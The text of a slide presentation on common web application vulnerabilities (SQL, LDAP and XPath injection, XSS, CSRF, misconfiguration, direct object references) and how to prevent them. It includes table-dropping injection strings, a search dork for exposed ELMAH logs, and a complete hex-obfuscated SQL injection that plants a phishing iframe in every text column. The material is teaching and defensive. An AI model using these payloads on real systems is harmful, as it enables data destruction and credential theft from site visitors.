Top Web Apps Security Vulnerabilities

Aleksandar BozinovskiTechnical Lead, Seavus

Agenda

Importance of Web SecurityHTTP, Sessions, CookiesInjectionCross Site Scripting (XSS)Cross-Site Request Forgery (CSRF)Security MisconfigurationInsecure Direct Object References

Famous Quote

“Every program has at least two purposes: the one for which it was written, and another for which it wasn't.”

-Alan J. Perlis

Alan Jay Perlis was an computer scientist known for his pioneering work in programming languages, and is the first recipient of the Turing Award.

Bobby Tables

string query="INSERT INTO Students VALUES ('"+txtName.Text+"','"+txtSSN.Text+"')";

//Attack: Robert’); DROP TABLE Students;--

INSERT INTO Students VALUES ('Robert'); DROP TABLE Students;--','12345')Robert'); DROP TABLE Students;--

Another one

Website Security Statistics

HTTP

Hypertext Transport Protocol– Language of the Web. Protocol used for

communication between web browsers and web servers

– Standard RFC 1945, 1996URL– Uniform Resource Identifier

Methods– GET, POST, PUT, HEAD, OPTIONS

Statelessness, Cookies In its nature HTTP it is said to be a stateless protocol.

– i.e. from one web page to the next there is nothing in the protocol that allows a web program to maintain program “state” (like a desktop program).

– “state” can be maintained by “witchery” or “trickery” if it is needed.

Cookie – piece of data sent from a website and stored in a user's web browser while a user is browsing a website.– The Server sets the cookie in a response.– The client includes the cookies in the Http header for subsequent

requests to the server.– Example Cookie: ASP.NET_SessionId=haay355s5g0vm5zotvlncqpr

Session Cookie Hijacking

OWASP Top 10

Injection

OWASP Definition– Injection flaws, such as SQL, OS, and LDAP

injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.

Injection Characteristics

SQL Injection

Happens when we create query but we fail to validate and sanitize untrusted input data.

Queries constructed with concatenating strings are vulnerable to SQL Injection.

SQL Queries

var categoryId = Request.QueryString["CategoryId"];var sql = "SELECT * FROM Products WHERE CategoryID=" + categoryId;

// If we enter "7 OR 1=1" in query string we end up with:SELECT * FROM Products WHERE CategoryID=7 OR 1=1

// Attacker can use ; to terminate current command and run its own commands.SELECT * FROM Products WHERE CategoryID=7; DROP TABLE Products

Validate untrusted data. If input data is supposed to be number, convert it to number or check it with regex.

Use parameterized SQL queries instead of strings soup.– Using stored procedures is also a good idea but keep in

mind that stored procedures are vulnerable if they concatenate strings on their own.

Use ORMs (like Entity Framework) that are inherently resistant to SQL Injection.

Prevent SQL Injection

Other Injection Attacks

LDAP Injection– string ldapSearch = "(cn=" + txtSearchTerm.Text +

")";

Dynamic LINQ Injection– string where = “Table.Contains(\"" + search + "\")";

XPATH Injection– string loginExpression =

"/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']";

Cross-Site Scripting (XSS)

OWASP Definition– XSS flaws occur whenever an application takes

untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

XSS Characteristics

Types of XSS AttacksStored XSS

• Stored attacks are those where the injected code is permanently stored on the target servers.

• Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.

Reflected XSS• Reflected attacks are those where the injected code is reflected off

the web server, such as in an error message, search result.• Reflected attacks are delivered to victims via another route, such

as in an e-mail message, or on some other web server.

Built-in protection

Modern browsers and servers employ many first line defenses against XSS by default:– ASP.NET Request Validation, present since version

2.0. In ASP.NET 4.0 it is enabled for all types of requests not just pages. To be turned off we must revert to the older mode requestValidationMode="2.0“

– Output encoding. MVC Razor view engine encodes everything by default. XSS is possible only if we use @Html.Raw()

Built-in protection

– AntiXSS library is by default included in ASP.NET Web Forms 4.5. Can be retrofitted on older web apps.

– Google Chrome has built-in anti XSS protection

Cross-Site Request Forgery

OWASP Definition– A CSRF attack forces a logged-on victim’s browser

to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

CSRF Characteristics

How CSRF works

Authenticated sessions are persisted via cookies The cookie is sent with every request to the domain

The attacking site recreates a legitimately formed request to the target site Although the request has a malicious payload (query string parameters or post data)

The victim’s browser is tricked into issuing the request For all intents and purposes, the target website views it as a legitimate request

CSRF Tokens

To mitigate this risk, we can add randomness via a CSRF token

A token is a random string known to both the legitimate page where the form is and to the browser via a cookie

Security Misconfiguration

OWASP Definition– Good security requires having a secure configuration

defined and deployed for the application, frameworks, application server, web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application.

Characteristics

Keep up to date

Your servers– Windows Server 2012 is arguably more secure

than Windows Server 2003Client browsers (if applicable)– Modern browsers include built-in defenses against

most prevalent attacksKeep your frameworks up to date

Set Custom Errors, hide YSOD

Turn Off Tracing

Also don’t forget to turn off

ELMAH– Cases with unprotected ELMAH handlers are

notorious. – Googledork: inurl:”elmah.axd”

DEBUG– Performance penalties– Although not related with direct security risks on

its own beware of #if DEBUG statements that can disclose information

Also don’t forget to turn off

Script execution on folders where not needed– Usually folders where various documents or

uploaded files are kept, unless you use App_Data folder.

HTTP Access to Logs– Log files can disclose many sensitive details about

your web app. It’s best to keep them outside of the web app root. If not possible at least keep them in App_Data.

Insecure Direct Object References

OWASP Definition– A direct object reference occurs when a developer

exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

Characteristics

Direct Object References

– A direct object reference is an observable key used to identify an individual record in database• http://northwind.com/Products?catId=1 • http://northwind.com/Products?catId=3 • http://northwind.com/Products?catId=8

Direct Object References

– Another example• http://webapp.com/Download?f=DSC01031.JPG • http://webapp.com/Download?f=DSC01032.JPG • http://webapp.com/Download?f=DSC01033.JPG

Prevention Implementing proper access control– Validate user data– Implement security checks before using object reference

Access via undiscoverable surrogate keys– Integer and natural string types are vulnerable to

enumeration– A surrogate key that is not pattern-based can add further

obfuscation• A GUID is a good example

– However, it is security through obscurity

Real example: phishing with obfuscated SQL injection and XSS

--1. The malicious query appends script to all text values in all tables in the database DECLARE @T varchar(255),@C varchar(4000)DECLARE Table_Cursor CURSOR FOR

select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) and

b.name not like '%username%' and b.name not like '%password%'OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN

EXEC('update ['+@T+'] set ['+@C+']=['+@C+'] + '' <script>if(!this.pwnd){this.pwnd=true;$(''''<div style="position:absolute;top:0;left:0;z-index:1000;width:100%;height:100%;"><iframe width="100%" height="100%" src="http://codecamp.local/EvilSite/Login.aspx" seamless="true" /></div>'''').appendTo(''''body'''');}</script>'' where ['+@C+'] not like ''%http://codecamp.local/EvilSite/Login.aspx%''');

FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Real example : phishing with obfuscated SQL injection and XSS

--2. The query is wrtten as one line string'DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=''u'' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) and b.name not like ''%username%'' and b.name not like ''%password%'' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(''update [''+@T+''] set [''+@C+'']=[''+@C+''] + '''' <script>if(!this.pwnd){this.pwnd=true;$(''''''''<div style="position:absolute;top:0;left:0;z-index:1000;width:100%;height:100%;"><iframe width="100%" height="100%" src="http://codecamp.local/EvilSite/Login.aspx" seamless="true" /></div>'''''''').appendTo(''''''''body'''''''');}</script>'''' where [''+@C+''] not like ''''%http://codecamp.local/EvilSite/Login.aspx%''''''); FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor'

--3. We cast the query string as varbinary to obfuscate the XSS attack and to bypass XSS filters.SELECT CAST('DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=''u'' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) and b.name not like ''%username%'' and b.name not like ''%password%'' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(''update [''+@T+''] set [''+@C+'']=[''+@C+''] + '''' <script>if(!this.pwnd){this.pwnd=true;$(''''''''<div style="position:absolute;top:0;left:0;z-index:1000;width:100%;height:100%;"><iframe width="100%" height="100%" src="http://codecamp.local/EvilSite/Login.aspx" seamless="true" /></div>'''''''').appendTo(''''''''body'''''''');}</script>'''' where [''+@C+''] not like ''''%http://codecamp.local/EvilSite/Login.aspx%''''''); FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor' AS VARBINARY(MAX))-- result: 0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622020776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D3136372920616E6420622E6E616D65206E6F74206C696B65202725757365726E616D65252720616E6420622E6E616D65206E6F74206C696B6520272570617373776F72642527204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D202B202727203C7363726970743E69662821746869732E70776E64297B746869732E70776E643D747275653B2428272727273C646976207374796C653D22706F736974696F6E3A6162736F6C7574653B746F703A303B6C6566743A303B7A2D696E6465783A313030303B77696474683A313030253B6865696768743A313030253B223E3C696672616D652077696474683D223130302522206865696768743D223130302522207372633D22687474703A2F2F636F646563616D702E6C6F63616C2F4576696C536974652F4C6F67696E2E6173707822207365616D6C6573733D227472756522202F3E3C2F6469763E27272727292E617070656E64546F2827272727626F647927272727293B7D3C2F7363726970743E2727207768657265205B272B40432B275D206E6F74206C696B6520272725687474703A2F2F636F646563616D702E6C6F63616C2F4576696C536974652F4C6F67696E2E6173707825272727293B204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72

--4. Final attack is:a' OR 1=1; DECLARE @S CHAR(4000);SET @S = CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622020776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D3136372920616E6420622E6E616D65206E6F74206C696B65202725757365726E616D65252720616E6420622E6E616D65206E6F74206C696B6520272570617373776F72642527204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D202B202727203C7363726970743E69662821746869732E70776E64297B746869732E70776E643D747275653B2428272727273C646976207374796C653D22706F736974696F6E3A6162736F6C7574653B746F703A303B6C6566743A303B7A2D696E6465783A313030303B77696474683A313030253B6865696768743A313030253B223E3C696672616D652077696474683D223130302522206865696768743D223130302522207372633D22687474703A2F2F636F646563616D702E6C6F63616C2F4576696C536974652F4C6F67696E2E6173707822207365616D6C6573733D227472756522202F3E3C2F6469763E27272727292E617070656E64546F2827272727626F647927272727293B7D3C2F7363726970743E2727207768657265205B272B40432B275D206E6F74206C696B6520272725687474703A2F2F636F646563616D702E6C6F63616C2F4576696C536974652F4C6F67696E2E6173707825272727293B204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 as CHAR(4000));EXEC(@S)--

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